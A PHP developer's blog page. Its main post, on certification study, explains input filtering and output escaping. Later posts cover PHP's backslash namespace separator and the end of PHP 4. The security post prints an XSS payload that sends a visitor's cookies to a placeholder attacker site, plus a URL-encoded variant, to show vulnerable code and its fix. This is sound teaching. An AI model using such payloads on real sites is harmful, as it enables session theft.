James Titcumb

If you follow my Twitter, then you already know that I’m intending to get a Zend PHP5 Certification. I’ve started off by ordering the Php|architect’s Zend PHP 5 Certification Study Guide from Amazon as I read an excerpt from that the other day and found it to be generally quite good. Still waiting for that to arrive, but next month I’m going to be ordering the Zend PHP Certification: Study Guide and some online practise tests. With any luck, that should be all I need to ace the test, and after reading Mike Bernat’s post about his experiences and a few other posts about the certification, I hope I should be able to pass. I’ll blog what I can about it, obviously those who take the test have to sign the NDA, but I’ll put as much of my experiences pre and post as I can.

I’m currently working on cleaning up the sanitisation and validation libraries in our homegrown framework at Netbasic here, and I was given an excerpt from the Php|architect’s Zend PHP 5 Certification Study Guide – the Security chapter. The summary section really outlines a key point you should always bear in mind when writing any PHP code… filter input, escape output.

Filtering input is important, and it is recommended to do this using a “white list” approach – i.e. you specify a valid choice of values for a particular field – if it does not match then discard it. Consider this:

// Example 1
$value = $_GET["colour"];
echo "Your favourite colour is {$value}";

This first example shows lack of filtering. Potentially, as the study guide shows, the colour could be overridden and set to be:

<script>
document.location = 'http://myhackingsite.com/getcookies.php?cookies=' + document.cookie;
</script>

This small piece of Javascript would then pick up people’s cookies. Lets look at the second example…

// Example 2
$value = "white";
$valid_colours = array("red","green","blue");
if(in_array($_GET["colour"], $valid_colours))
{
  $value = $_GET["colour"];
}
echo "Your favourite colour is {$value}";

This piece of code is much safer (although not totally secure…). $value has been initialised. Although I ensure register_globals = Off where possible, there may be some hosts that have register_globals On. The “colour” $_GET value is checked against a white list, and if it does not match, it is not assigned. If $value is not initialised and register_globals was On, then someone could pass a query such as:

http://mywebsite.com/example.php?colour=notacolour&value=%3Cscript%3Edocument.
location+%3D+%27http%3A%2F%2Fmyhackingsite.com%2Fgetcookies.php%3Fcookies%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E

What would happen is that the “colour” argument would not match the white list, but value would be initialised with the above piece of cookie-collecting Javascript. An even safer version of this code is with escaped output:

// Example 3
$value = "white";
$valid_colours = array("red","green","blue");
if(in_array($_GET["colour"], $valid_colours))
{
  $value = $_GET["colour"];
}
$value = htmlentities($value);
echo "Your favourite colour is {$value}";

Even with register_globals On and $value uninitialised, the end user will just see the Javascript directly, rather than the browser parsing it.

Don’t forget, output isn’t limited to just outputting to the browser through echo or print – you need to think about storing data, such as in MySQL databases or in files. Thankfully, PHP provides database-specific escaping functions, such as mysql_real_escape_string.

There’s much more to this than just what I’ve explained, and the study guide goes into a bit more depth. I recommend you pick up a copy and read it, even if you’re not studying for a Zend certification.

As this message states, the new seperator for namespaces in PHP will be a backslash (\). I’ve had a brief skim over the IRC log the message mentions, and the conversation is indeed interesting. Personally, having been converted to a full OOP PHP programmer, I would’ve voted for namespaces only in classes (as classes are all I ever use nowadays…).

Evidently there are too many problems using the Paamayim Nekudotayim due to scope, and static classes and whatnot, but I don’t understand why when real programming languages such as C++ manage it fine. I have to agree with “dmitry”, I think using a backslash is ugly, and double colon is much cleaner.

What does this mean for the PHP community? Well anyone currently using namespaces will have to fix their code, and anyone not using namespaces will have to get used to using the backslash separator. Of course this change is going to ruffle a fair few feathers – people will wonder what on earth possessed them to use the backslash instead of double colon when backslashes are so ugly, and double colon is so… well… standard I suppose.

As this Slashdot post shows:

• Perl

use My::CPAN::Module qw();
my $instance = My::CPAN::Module->new("junk");

• C#

System.Windows.Controls.Listbox box = new System.Windows.Controls.Listbox();
// or
using System.Windows.Controls;
ListBox box = new ListBox();

• C++

ABC::bar();
// or
using namespace ABC;
bar();

• The New PHP

$object_instance = new My\PEAR\Module("myvar");
// or
using My\Pear;
$object_instance = new Module("myvar");

I doubt people will stop using PHP though. I expect people will either not use namespaces (explicitly anyway – technically they’d just be writing in the global namespace), or get used to it. But then, one must think – what if there is a big backlash against this change and PHP is just a bubble waiting to be burst? I doubt that’d happen, but it’s interesting to wonder…

Yes, today is the release of PHP 4.4.9, marking the death of PHP 4. No more work will be done to PHP 4. 99% of the time I’m using PHP 5 now anyway, so it won’t make a huge difference in my life. But then again, will it make a huge difference in anyone’s life? Some web hosts are migrating to PHP5, but I believe a vast quantity of web hosts still use PHP4, and I don’t see that changing in a hurry. What about those still using code that isn’t PHP5-compatible. Thankfully, most PHP4 code can work straight off in PHP5, but there’s still the risk. The way I see it, every host should’ve started migrating to PHP5 long ago, with the option to use PHP4 or 5 (such as 1and1.co.uk, who default to PHP4, but have the option to use PHP5).

Read the rest of this entry »

Just a quick one – with regards to my post about PHP4 dying, I’ve just seen on PHPDeveloper.org a blog post on the Developer Tutorials Blog about migrating from PHP4 to PHP5 for developers- check it out.